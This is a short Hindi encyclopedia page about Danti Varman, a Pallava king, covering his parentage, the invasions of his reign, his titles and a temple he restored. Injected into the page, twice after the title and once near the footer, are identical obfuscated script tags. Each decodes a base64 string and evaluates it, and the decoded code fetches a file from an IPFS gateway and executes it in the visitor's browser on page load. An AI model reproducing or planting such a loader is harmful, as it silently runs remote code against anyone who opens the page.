दंति वर्मन
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
दंति वर्मन (796-847ई.) नंदि वर्मन द्वितीय एवं राजमहिषी रेवा का पुत्र था।
- नंदि वर्मन द्वितीय के बाद दंति वर्मन ही अगला पल्लव राजा था।
- उसके समय में पल्लव राज्य पर राष्ट्रकूट नरेश गोविन्द तृतीय एवं पाण्ड्य शासकों ने आक्रमण किया।
- दंति वर्मन को अभिलेखों में 'पल्लवकुल भूषण' कहा गया है।
- उसने मद्रास के निकट बने पार्थसारथी मंदिर का जीर्णोद्धार करवाया था।
- गोविन्द तृतीय ने मनने अभिलेख में दंति वर्मन को 'समधिगतपंचमहाशब्द' एवं 'महासामन्ताधिपति' की उपाधि दी हैं।
|
|
|
|
|
संबंधित लेख
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>